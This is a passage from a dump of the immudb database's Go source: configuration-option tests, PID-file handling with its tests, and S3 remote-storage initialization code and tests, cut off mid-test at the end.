repOpts.PrefetchTxBufferSize)\n\trequire.Equal(t, 5, repOpts.ReplicationCommitConcurrency)\n\trequire.True(t, repOpts.AllowTxDiscarding)\n\trequire.True(t, repOpts.SkipIntegrityCheck)\n\trequire.True(t, repOpts.WaitForIndexing)\n\n\t// primary-related settings\n\trepOpts.\n\t\tWithIsReplica(false).\n\t\tWithSyncReplication(true).\n\t\tWithSyncAcks(1)\n\n\trequire.False(t, repOpts.IsReplica)\n\trequire.True(t, repOpts.SyncReplication)\n\trequire.Equal(t, 1, repOpts.SyncAcks)\n}\n\nfunc TestSetOptions(t *testing.T) {\n\ttlsConfig := &tls.Config{Certificates: []tls.Certificate{}}\n\n\top := DefaultOptions().WithDir(\"immudb_dir\").WithNetwork(\"udp\").\n\t\tWithAddress(\"localhost\").\n\t\tWithPort(2048).\n\t\tWithPidfile(\"immu.pid\").\n\t\tWithAuth(false).\n\t\tWithMaxRecvMsgSize(4096).\n\t\tWithDetached(true).\n\t\tWithNoHistograms(true).\n\t\tWithMetricsServer(false).\n\t\tWithDevMode(true).WithLogfile(\"logfile\").\n\t\tWithAdminPassword(\"admin\").\n\t\tWithForceAdminPassword(true).\n\t\tWithStreamChunkSize(4096).\n\t\tWithWebServerPort(8081).\n\t\tWithTokenExpiryTime(52).\n\t\tWithWebServer(false).\n\t\tWithTLS(tlsConfig).\n\t\tWithPgsqlServer(true).\n\t\tWithPgsqlServerPort(123456).\n\t\tWithPProf(true).\n\t\tWithLogFormat(logger.LogFormatJSON)\n\n\tif op.GetAuth() != false ||\n\t\top.Dir != \"immudb_dir\" ||\n\t\top.Network != \"udp\" ||\n\t\top.Address != \"localhost\" ||\n\t\top.Port != 2048 ||\n\t\top.Config != \"configs/immudb.toml\" ||\n\t\top.Pidfile != \"immu.pid\" ||\n\t\top.GetAuth() != false ||\n\t\top.MaxRecvMsgSize != 4096 ||\n\t\top.Detached != true ||\n\t\top.NoHistograms != true ||\n\t\top.MetricsServer != false ||\n\t\top.DevMode != true ||\n\t\top.Logfile != \"logfile\" ||\n\t\top.AdminPassword != \"admin\" ||\n\t\top.ForceAdminPassword != true ||\n\t\top.StreamChunkSize != 4096 ||\n\t\top.WebServerPort != 8081 ||\n\t\top.Bind() != \"localhost:2048\" ||\n\t\top.WebBind() != \"localhost:8081\" ||\n\t\top.WebServer != false ||\n\t\top.TLSConfig != tlsConfig ||\n\t\top.TokenExpiryTimeMin != 52 ||\n\t\t!op.PgsqlServer ||\n\t\top.PgsqlServerPort != 123456 ||\n\t\top.PProf != true ||\n\t\top.IsJSONLogger() != true {\n\t\tt.Errorf(\"database default options mismatch\")\n\t}\n}\n\nfunc TestOptionsString(t *testing.T) {\n\texpected := `================ Config ================\nData dir         : ./data\nAddress          : 0.0.0.0:3322\nMetrics address  : 0.0.0.0:9497/metrics\nSync replication : false\nConfig file      : configs/immudb.toml\nPID file         : immu.pid\nLog file         : immu.log\nMax recv msg size: 33554432\nAuth enabled     : true\nDev mode         : false\nDefault database : defaultdb\nMaintenance mode : false\nSynced mode      : true\n----------------------------------------\nSuperadmin default credentials\n   Username      : immudb\n   Password      : immudb\n========================================`\n\n\top := DefaultOptions().\n\t\tWithPidfile(\"immu.pid\").\n\t\tWithLogfile(\"immu.log\")\n\n\trequire.Equal(t, expected, op.String())\n}\n\nfunc TestOptionsWithSyncReplicationString(t *testing.T) {\n\texpected := `================ Config ================\nData dir         : ./data\nAddress          : 0.0.0.0:3322\nMetrics address  : 0.0.0.0:9497/metrics\nSync replication : true\nSync acks        : 1\nConfig file      : configs/immudb.toml\nPID file         : immu.pid\nLog file         : immu.log\nMax recv msg size: 33554432\nAuth enabled     : true\nDev mode         : false\nDefault database : defaultdb\nMaintenance mode : false\nSynced mode      : true\n----------------------------------------\nSuperadmin default credentials\n   Username      : immudb\n   Password      : immudb\n========================================`\n\n\top := DefaultOptions().\n\t\tWithPidfile(\"immu.pid\").\n\t\tWithLogfile(\"immu.log\")\n\n\top.ReplicationOptions.\n\t\tWithSyncReplication(true).\n\t\tWithSyncAcks(1)\n\n\trequire.Equal(t, expected, op.String())\n}\n\nfunc TestOptionsStringWithS3(t *testing.T) {\n\texpected := `================ Config ================\nData dir         : ./data\nAddress          : 0.0.0.0:3322\nMetrics address  : 0.0.0.0:9497/metrics\nSync replication : false\nConfig file      : configs/immudb.toml\nPID file         : immu.pid\nLog file         : immu.log\nMax recv msg size: 33554432\nAuth enabled     : true\nDev mode         : false\nDefault database : defaultdb\nMaintenance mode : false\nSynced mode      : true\nS3 storage\n   endpoint      : s3-endpoint\n   bucket name   : s3-bucket-name\n   location      : s3-location\n   prefix        : s3-path-prefix\n   external id   : false\n   metadata url  : http://169.254.169.254\n----------------------------------------\nSuperadmin default credentials\n   Username      : immudb\n   Password      : immudb\n========================================`\n\n\top := DefaultOptions().\n\t\tWithPidfile(\"immu.pid\").\n\t\tWithLogfile(\"immu.log\").\n\t\tWithRemoteStorageOptions(\n\t\t\tDefaultRemoteStorageOptions().\n\t\t\t\tWithS3Storage(true).\n\t\t\t\tWithS3Endpoint(\"s3-endpoint\").\n\t\t\t\tWithS3BucketName(\"s3-bucket-name\").\n\t\t\t\tWithS3Location(\"s3-location\").\n\t\t\t\tWithS3PathPrefix(\"s3-path-prefix\").\n\t\t\t\tWithS3InstanceMetadataURL(\"http://169.254.169.254\"),\n\t\t)\n\n\trequire.Equal(t, expected, op.String())\n}\n\nfunc TestOptionsStringWithS3RoleBased(t *testing.T) {\n\texpected := `================ Config ================\nData dir         : ./data\nAddress          : 0.0.0.0:3322\nMetrics address  : 0.0.0.0:9497/metrics\nSync replication : false\nConfig file      : configs/immudb.toml\nPID file         : immu.pid\nLog file         : immu.log\nMax recv msg size: 33554432\nAuth enabled     : true\nDev mode         : false\nDefault database : defaultdb\nMaintenance mode : false\nSynced mode      : true\nS3 storage\n   role auth     : true\n   role name     : s3-role\n   endpoint      : s3-endpoint\n   bucket name   : s3-bucket-name\n   location      : s3-location\n   prefix        : s3-path-prefix\n   external id   : false\n   metadata url  : http://169.254.169.254\n----------------------------------------\nSuperadmin default credentials\n   Username      : immudb\n   Password      : immudb\n========================================`\n\n\top := DefaultOptions().\n\t\tWithPidfile(\"immu.pid\").\n\t\tWithLogfile(\"immu.log\").\n\t\tWithRemoteStorageOptions(\n\t\t\tDefaultRemoteStorageOptions().\n\t\t\t\tWithS3Storage(true).\n\t\t\t\tWithS3RoleEnabled(true).\n\t\t\t\tWithS3Role(\"s3-role\").\n\t\t\t\tWithS3Endpoint(\"s3-endpoint\").\n\t\t\t\tWithS3BucketName(\"s3-bucket-name\").\n\t\t\t\tWithS3Location(\"s3-location\").\n\t\t\t\tWithS3PathPrefix(\"s3-path-prefix\").\n\t\t\t\tWithS3InstanceMetadataURL(\"http://169.254.169.254\"),\n\t\t)\n\n\trequire.Equal(t, expected, op.String())\n}\n\nfunc TestOptionsStringWithS3ExternalIdentifier(t *testing.T) {\n\texpected := `================ Config ================\nData dir         : ./data\nAddress          : 0.0.0.0:3322\nMetrics address  : 0.0.0.0:9497/metrics\nSync replication : false\nConfig file      : configs/immudb.toml\nPID file         : immu.pid\nLog file         : immu.log\nMax recv msg size: 33554432\nAuth enabled     : true\nDev mode         : false\nDefault database : defaultdb\nMaintenance mode : false\nSynced mode      : true\nS3 storage\n   endpoint      : s3-endpoint\n   bucket name   : s3-bucket-name\n   location      : s3-location\n   prefix        : s3-path-prefix\n   external id   : true\n   metadata url  : \n----------------------------------------\nSuperadmin default credentials\n   Username      : immudb\n   Password      : immudb\n========================================`\n\n\top := DefaultOptions().\n\t\tWithPidfile(\"immu.pid\").\n\t\tWithLogfile(\"immu.log\").\n\t\tWithRemoteStorageOptions(\n\t\t\tDefaultRemoteStorageOptions().\n\t\t\t\tWithS3Storage(true).\n\t\t\t\tWithS3Endpoint(\"s3-endpoint\").\n\t\t\t\tWithS3BucketName(\"s3-bucket-name\").\n\t\t\t\tWithS3Location(\"s3-location\").\n\t\t\t\tWithS3PathPrefix(\"s3-path-prefix\").\n\t\t\t\tWithS3ExternalIdentifier(true),\n\t\t)\n\n\trequire.Equal(t, expected, op.String())\n}\n\nfunc TestOptionsStringWithPProf(t *testing.T) {\n\texpected := `================ Config ================\nData dir         : ./data\nAddress          : 0.0.0.0:3322\nMetrics address  : 0.0.0.0:9497/metrics\npprof enabled    : true\nSync replication : false\nConfig file      : configs/immudb.toml\nPID file         : immu.pid\nLog file         : immu.log\nMax recv msg size: 33554432\nAuth enabled     : true\nDev mode         : false\nDefault database : defaultdb\nMaintenance mode : false\nSynced mode      : true\n----------------------------------------\nSuperadmin default credentials\n   Username      : immudb\n   Password      : immudb\n========================================`\n\n\top := DefaultOptions().\n\t\tWithPidfile(\"immu.pid\").\n\t\tWithLogfile(\"immu.log\").\n\t\tWithPProf(true)\n\n\trequire.Equal(t, expected, op.String())\n}\n"
  },
  {
    "path": "pkg/server/pid.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n)\n\n// PIDFile contains path of pid file\ntype PIDFile struct {\n\tpath string\n\tOS   immuos.OS\n}\n\nfunc checkPIDFileAlreadyExists(path string, OS immuos.OS) error {\n\tif pidByte, err := OS.ReadFile(path); err == nil {\n\t\tpidString := strings.TrimSpace(string(pidByte))\n\t\tif pid, err := strconv.Atoi(pidString); err == nil {\n\t\t\tif processExists(pid, OS) {\n\t\t\t\treturn fmt.Errorf(\"pid file found, ensure immudb is not running or delete %s\", path)\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// NewPid returns a new PIDFile or an error\nfunc NewPid(path string, OS immuos.OS) (PIDFile, error) {\n\tif err := checkPIDFileAlreadyExists(path, OS); err != nil {\n\t\treturn PIDFile{}, err\n\t}\n\tif fn := OS.Base(path); fn == \".\" {\n\t\treturn PIDFile{}, fmt.Errorf(\"Pid filename is invalid: %s\", path)\n\t}\n\tif _, err := OS.Stat(OS.Dir(path)); OS.IsNotExist(err) {\n\t\tif err := OS.Mkdir(OS.Dir(path), 0755); err != nil {\n\t\t\treturn PIDFile{}, err\n\t\t}\n\t}\n\tif err := OS.WriteFile(path, []byte(fmt.Sprintf(\"%d\", OS.Getpid())), 0644); err != nil {\n\t\treturn PIDFile{}, err\n\t}\n\treturn PIDFile{path: path, OS: OS}, nil\n}\n\n// Remove remove the pid file\nfunc (file PIDFile) Remove() error {\n\treturn file.OS.Remove(file.path)\n}\n\nfunc processExists(pid int, OS immuos.OS) bool {\n\tif _, err := OS.Stat(OS.Join(\"/proc\", strconv.Itoa(pid))); err == nil {\n\t\treturn true\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "pkg/server/pid_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/immuos\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPid(t *testing.T) {\n\tOS := immuos.NewStandardOS()\n\tOS.ReadFileF = func(string) ([]byte, error) {\n\t\treturn []byte(\"1\"), nil\n\t}\n\n\tOS.StatF = func(name string) (os.FileInfo, error) {\n\t\treturn nil, nil\n\t}\n\tpidPath := \"somepath\"\n\t_, err := NewPid(pidPath, OS)\n\trequire.Equal(\n\t\tt,\n\t\tfmt.Errorf(\"pid file found, ensure immudb is not running or delete %s\", pidPath),\n\t\terr)\n\n\tOS.StatF = func(name string) (os.FileInfo, error) {\n\t\treturn nil, errors.New(\"\")\n\t}\n\tOS.BaseF = func(string) string {\n\t\treturn \".\"\n\t}\n\t_, err = NewPid(pidPath, OS)\n\trequire.Equal(\n\t\tt,\n\t\tfmt.Errorf(\"Pid filename is invalid: %s\", pidPath),\n\t\terr)\n\tOS.BaseF = func(path string) string {\n\t\treturn path\n\t}\n\n\tstatCounter := 0\n\tstatFOK := OS.StatF\n\tOS.StatF = func(name string) (os.FileInfo, error) {\n\t\tstatCounter++\n\t\tif statCounter == 1 {\n\t\t\treturn nil, errors.New(\"\")\n\t\t}\n\t\treturn nil, os.ErrNotExist\n\t}\n\terrMkdir := errors.New(\"Mkdir error\")\n\tOS.MkdirF = func(name string, perm os.FileMode) error {\n\t\treturn errMkdir\n\t}\n\t_, err = NewPid(pidPath, OS)\n\trequire.ErrorIs(t, err, errMkdir)\n\tOS.StatF = statFOK\n\n\terrWriteFile := errors.New(\"WriteFile error\")\n\tOS.WriteFileF = func(filename string, data []byte, perm os.FileMode) error {\n\t\treturn errWriteFile\n\t}\n\t_, err = NewPid(pidPath, OS)\n\trequire.ErrorIs(t, err, errWriteFile)\n\n\tOS.WriteFileF = func(filename string, data []byte, perm os.FileMode) error {\n\t\treturn nil\n\t}\n\tpid, err := NewPid(pidPath, OS)\n\trequire.NoError(t, err)\n\terrRemove := errors.New(\"Remove error\")\n\tOS.RemoveF = func(name string) error {\n\t\treturn errRemove\n\t}\n\trequire.ErrorIs(t, pid.Remove(), errRemove)\n}\n"
  },
  {
    "path": "pkg/server/remote_storage.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/appendable/remoteapp\"\n\t\"github.com/codenotary/immudb/embedded/remotestorage\"\n\t\"github.com/codenotary/immudb/embedded/remotestorage/s3\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/errors\"\n\t\"github.com/rs/xid\"\n)\n\n// this set of errors is grouped around remote storage identifier concept\n// and covers multiple possible scenarios or remote storage configurations\nvar (\n\tErrRemoteStorageDoesNotMatch = errors.New(\"remote storage does not match local files for identifiers\")\n\tErrNoStorageForIdentifier    = errors.New(\"remote storage does not exist, unable to retrieve identifier\")\n\tErrNoRemoteIdentifier        = errors.New(\"remote storage does not have expected identifier\")\n)\n\nfunc (s *ImmuServer) createRemoteStorageInstance() (remotestorage.Storage, error) {\n\tif s.Options.RemoteStorageOptions.S3Storage {\n\t\tif s.Options.RemoteStorageOptions.S3RoleEnabled &&\n\t\t\t(s.Options.RemoteStorageOptions.S3AccessKeyID != \"\" || s.Options.RemoteStorageOptions.S3SecretKey != \"\") {\n\t\t\treturn nil, s3.ErrKeyCredentialsProvided\n\t\t}\n\n\t\t// S3 storage\n\t\treturn s3.Open(\n\t\t\ts.Options.RemoteStorageOptions.S3Endpoint,\n\t\t\ts.Options.RemoteStorageOptions.S3RoleEnabled,\n\t\t\ts.Options.RemoteStorageOptions.S3Role,\n\t\t\ts.Options.RemoteStorageOptions.S3AccessKeyID,\n\t\t\ts.Options.RemoteStorageOptions.S3SecretKey,\n\t\t\ts.Options.RemoteStorageOptions.S3BucketName,\n\t\t\ts.Options.RemoteStorageOptions.S3Location,\n\t\t\ts.Options.RemoteStorageOptions.S3PathPrefix,\n\t\t\ts.Options.RemoteStorageOptions.S3InstanceMetadataURL,\n\t\t\ts.Options.RemoteStorageOptions.S3UseFargateCredentials,\n\t\t)\n\t}\n\n\treturn nil, nil\n}\n\nfunc (s *ImmuServer) initializeRemoteStorage(storage remotestorage.Storage) error {\n\tif storage == nil {\n\t\tif s.Options.RemoteStorageOptions.S3ExternalIdentifier {\n\t\t\treturn ErrNoStorageForIdentifier\n\t\t}\n\t\t// No remote storage\n\t\treturn nil\n\t}\n\n\tif s.Options.RemoteStorageOptions.S3ExternalIdentifier {\n\t\tif err := s.loadRemoteIdentifier(context.Background(), storage); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn s.createRemoteSubFolders(storage)\n}\n\nfunc (s *ImmuServer) createRemoteSubFolders(storage remotestorage.Storage) error {\n\t_, subFolders, err := storage.ListEntries(context.Background(), \"\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, subFolder := range subFolders {\n\t\terr := os.MkdirAll(\n\t\t\tfilepath.Join(s.Options.Dir, subFolder),\n\t\t\tstore.DefaultFileMode,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (s *ImmuServer) loadRemoteIdentifier(ctx context.Context, storage remotestorage.Storage) error {\n\thasRemoteIdentifier, err := storage.Exists(ctx, IDENTIFIER_FNAME)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif !hasRemoteIdentifier {\n\t\treturn s.initRemoteIdentifier(ctx, storage)\n\t}\n\n\tremoteIDStream, err := storage.Get(ctx, IDENTIFIER_FNAME, 0, -1)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tremoteID, err := io.ReadAll(remoteIDStream)\n\tremoteIDStream.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlocalIdentifierFile := filepath.Join(s.Options.Dir, IDENTIFIER_FNAME)\n\tif fileExists(localIdentifierFile) {\n\t\tlocalID, err := os.ReadFile(localIdentifierFile)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif !bytes.Equal(remoteID, localID) {\n\t\t\treturn ErrRemoteStorageDoesNotMatch\n\t\t}\n\t\treturn nil\n\t}\n\n\tif err := os.WriteFile(localIdentifierFile, remoteID, os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\n\ts.UUID, err = xid.FromBytes(remoteID)\n\treturn err\n}\n\nfunc (s *ImmuServer) initRemoteIdentifier(ctx context.Context, storage remotestorage.Storage) error {\n\tlocalIdentifierFile := filepath.Join(s.Options.Dir, IDENTIFIER_FNAME)\n\n\ts.UUID = xid.New()\n\tif err := os.WriteFile(localIdentifierFile, s.UUID.Bytes(), os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\treturn storage.Put(ctx, IDENTIFIER_FNAME, localIdentifierFile)\n}\n\nfunc (s *ImmuServer) updateRemoteUUID(remoteStorage remotestorage.Storage) error {\n\tctx := context.Background()\n\treturn remoteStorage.Put(ctx, IDENTIFIER_FNAME, filepath.Join(s.Options.Dir, IDENTIFIER_FNAME))\n}\n\nfunc (s *ImmuServer) storeOptionsForDB(name string, remoteStorage remotestorage.Storage, stOpts *store.Options) *store.Options {\n\tif remoteStorage != nil {\n\t\tstOpts.WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\t\tremoteAppOpts := remoteapp.DefaultOptions()\n\t\t\tremoteAppOpts.Options = *opts\n\n\t\t\ts3Path, err := getS3RemotePath(s.Options.Dir, rootPath, subPath)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\treturn remoteapp.Open(\n\t\t\t\tfilepath.Join(rootPath, subPath),\n\t\t\t\ts3Path,\n\t\t\t\tremoteStorage,\n\t\t\t\tremoteAppOpts,\n\t\t\t)\n\t\t}).\n\t\t\tWithFileSize(1 << 20). // Reduce file size for better cache granularity\n\t\t\tWithAppRemoveFunc(func(rootPath, subPath string) error {\n\t\t\t\ts3Path, err := getS3RemotePath(s.Options.Dir, rootPath, subPath)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\terr = os.RemoveAll(filepath.Join(rootPath, subPath))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\treturn remoteStorage.RemoveAll(context.Background(), s3Path)\n\t\t\t})\n\n\t\tMetrics.RemoteStorageKind.WithLabelValues(name, remoteStorage.Kind()).Set(1)\n\t} else {\n\n\t\t// No remote storage\n\t\tMetrics.RemoteStorageKind.WithLabelValues(name, \"none\").Set(1)\n\t}\n\n\treturn stOpts\n}\n\nfunc getS3RemotePath(dir, rootPath, subPath string) (string, error) {\n\tbaseDir, err := filepath.Abs(dir)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbaseDir += string(filepath.Separator)\n\n\tfsPath, err := filepath.Abs(filepath.Join(rootPath, subPath))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif !strings.HasPrefix(fsPath, baseDir) {\n\t\treturn \"\", errors.New(\"path assertion failed\")\n\t}\n\n\treturn strings.ReplaceAll(\n\t\tfsPath[len(baseDir):]+\"/\",\n\t\tstring(filepath.Separator), \"/\",\n\t), nil\n}\n"
  },
  {
    "path": "pkg/server/remote_storage_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"syscall\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/remotestorage\"\n\t\"github.com/codenotary/immudb/embedded/remotestorage/memory\"\n\t\"github.com/codenotary/immudb/embedded/remotestorage/s3\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/rs/xid\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc/metadata\"\n\t\"google.golang.org/grpc/test/bufconn\"\n)\n\ntype remoteStorageMockingWrapper struct {\n\twrapped remotestorage.Storage\n\n\tfnGet         func(ctx context.Context, name string, offs, size int64, next func() (io.ReadCloser, error)) (io.ReadCloser, error)\n\tfnPut         func(ctx context.Context, name string, fileName string, next func() error) error\n\tfnExists      func(ctx context.Context, name string, next func() (bool, error)) (bool, error)\n\tfnListEntries func(ctx context.Context, path string, next func() (entries []remotestorage.EntryInfo, subPaths []string, err error)) (entries []remotestorage.EntryInfo, subPaths []string, err error)\n}\n\nfunc (r *remoteStorageMockingWrapper) Kind() string {\n\treturn r.wrapped.Kind()\n}\n\nfunc (r *remoteStorageMockingWrapper) String() string {\n\treturn r.wrapped.String()\n}\n\nfunc (r *remoteStorageMockingWrapper) Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) {\n\tif r.fnGet != nil {\n\t\treturn r.fnGet(ctx, name, offs, size, func() (io.ReadCloser, error) {\n\t\t\treturn r.wrapped.Get(ctx, name, offs, size)\n\t\t})\n\t}\n\treturn r.wrapped.Get(ctx, name, offs, size)\n}\n\nfunc (r *remoteStorageMockingWrapper) Put(ctx context.Context, name string, fileName string) error {\n\tif r.fnPut != nil {\n\t\treturn r.fnPut(ctx, name, fileName, func() error {\n\t\t\treturn r.wrapped.Put(ctx, name, fileName)\n\t\t})\n\t}\n\treturn r.wrapped.Put(ctx, name, fileName)\n}\n\nfunc (r *remoteStorageMockingWrapper) Remove(ctx context.Context, name string) error {\n\treturn nil\n}\n\nfunc (r *remoteStorageMockingWrapper) RemoveAll(ctx context.Context, folder string) error {\n\treturn nil\n}\n\nfunc (r *remoteStorageMockingWrapper) Exists(ctx context.Context, name string) (bool, error) {\n\tif r.fnExists != nil {\n\t\treturn r.fnExists(ctx, name, func() (bool, error) {\n\t\t\treturn r.wrapped.Exists(ctx, name)\n\t\t})\n\t}\n\treturn r.wrapped.Exists(ctx, name)\n}\n\nfunc (r *remoteStorageMockingWrapper) ListEntries(ctx context.Context, path string) (entries []remotestorage.EntryInfo, subPaths []string, err error) {\n\tif r.fnListEntries != nil {\n\t\treturn r.fnListEntries(ctx, path, func() (entries []remotestorage.EntryInfo, subPaths []string, err error) {\n\t\t\treturn r.wrapped.ListEntries(ctx, path)\n\t\t})\n\t}\n\treturn r.wrapped.ListEntries(ctx, path)\n}\n\nfunc TestCreateRemoteStorage(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\t// No remote storage by default\n\tstorage, err := s.createRemoteStorageInstance()\n\trequire.NoError(t, err)\n\trequire.Nil(t, storage)\n\n\t// Set remote storage options\n\ts.WithOptions(DefaultOptions().WithRemoteStorageOptions(\n\t\tDefaultRemoteStorageOptions().\n\t\t\tWithS3Storage(true).\n\t\t\tWithS3BucketName(\"bucket\"),\n\t))\n\n\tstorage, err = s.createRemoteStorageInstance()\n\trequire.NoError(t, err)\n\trequire.NotNil(t, storage)\n\trequire.IsType(t, &s3.Storage{}, storage)\n}\n\nfunc tmpFile(t *testing.T, data []byte) (fileName string, cleanup func()) {\n\tfl, err := ioutil.TempFile(\"\", \"\")\n\trequire.NoError(t, err)\n\t_, err = fl.Write(data)\n\trequire.NoError(t, err)\n\terr = fl.Close()\n\trequire.NoError(t, err)\n\treturn fl.Name(), func() {\n\t\tos.Remove(fl.Name())\n\t}\n}\n\nfunc storeData(t *testing.T, s remotestorage.Storage, name string, data []byte) {\n\tfl, c := tmpFile(t, data)\n\tdefer c()\n\n\terr := s.Put(context.Background(), name, fl)\n\trequire.NoError(t, err)\n}\n\nfunc TestInitializeRemoteStorageNoRemoteStorage(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\terr := s.initializeRemoteStorage(nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestInitializeRemoteStorageEmptyRemoteStorage(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\terr := s.initializeRemoteStorage(memory.Open())\n\trequire.NoError(t, err)\n}\n\nfunc TestInitializeRemoteStorageEmptyRemoteStorageErrorOnExists(t *testing.T) {\n\tdir := t.TempDir()\n\n\tremoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true)\n\topts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tinjectedErr := errors.New(\"Injected error\")\n\tmem := &remoteStorageMockingWrapper{\n\t\twrapped: memory.Open(),\n\t\tfnExists: func(ctx context.Context, name string, next func() (bool, error)) (bool, error) {\n\t\t\treturn false, injectedErr\n\t\t},\n\t}\n\n\terr := s.initializeRemoteStorage(mem)\n\trequire.ErrorIs(t, err, injectedErr)\n}\n\nfunc TestInitializeRemoteStorageEmptyRemoteStorageErrorOnListEntries(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tinjectedErr := errors.New(\"Injected error\")\n\tmem := &remoteStorageMockingWrapper{\n\t\twrapped: memory.Open(),\n\t\tfnListEntries: func(ctx context.Context, path string, next func() (entries []remotestorage.EntryInfo, subPaths []string, err error)) (entries []remotestorage.EntryInfo, subPaths []string, err error) {\n\t\t\treturn nil, nil, injectedErr\n\t\t},\n\t}\n\n\terr := s.initializeRemoteStorage(mem)\n\trequire.True(t, errors.Is(err, injectedErr))\n}\n\nfunc TestInitializeRemoteStorageDownloadIdentifier(t *testing.T) {\n\tdir := t.TempDir()\n\n\tremoteStorageOpts := DefaultRemoteStorageOptions().WithS3ExternalIdentifier(true)\n\topts := DefaultOptions().WithDir(dir).WithRemoteStorageOptions(remoteStorageOpts)\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\tuuid := xid.New()\n\n\tm := memory.Open()\n\tstoreData(t, m, \"immudb.identifier\", uuid.Bytes())\n\n\terr := s.initializeRemoteStorage(m)\n\trequire.NoError(t, err)\n\n\tuuidFilename := filepath.Join(dir, \"immudb.identifier\")\n\n\trequire.FileExists(t, uuidFilename)\n\n\tid, err := ioutil.ReadFile(uuidFilename)\n\trequire.NoError(t, err)\n\trequire.Equal(t, uuid.Bytes(), id)\n}\n\nfunc TestInitializeWithEmptyRemoteStorage(t *testing.T) {\n\tdir := t.TempDir()\n\n\topts := DefaultOptions().WithDir(dir)\n\topts.RemoteStorageOptions.S3ExternalIdentifier = true\n\n\ts := DefaultServer()\n\n\ts.WithOptions(opts)\n\n\terr := 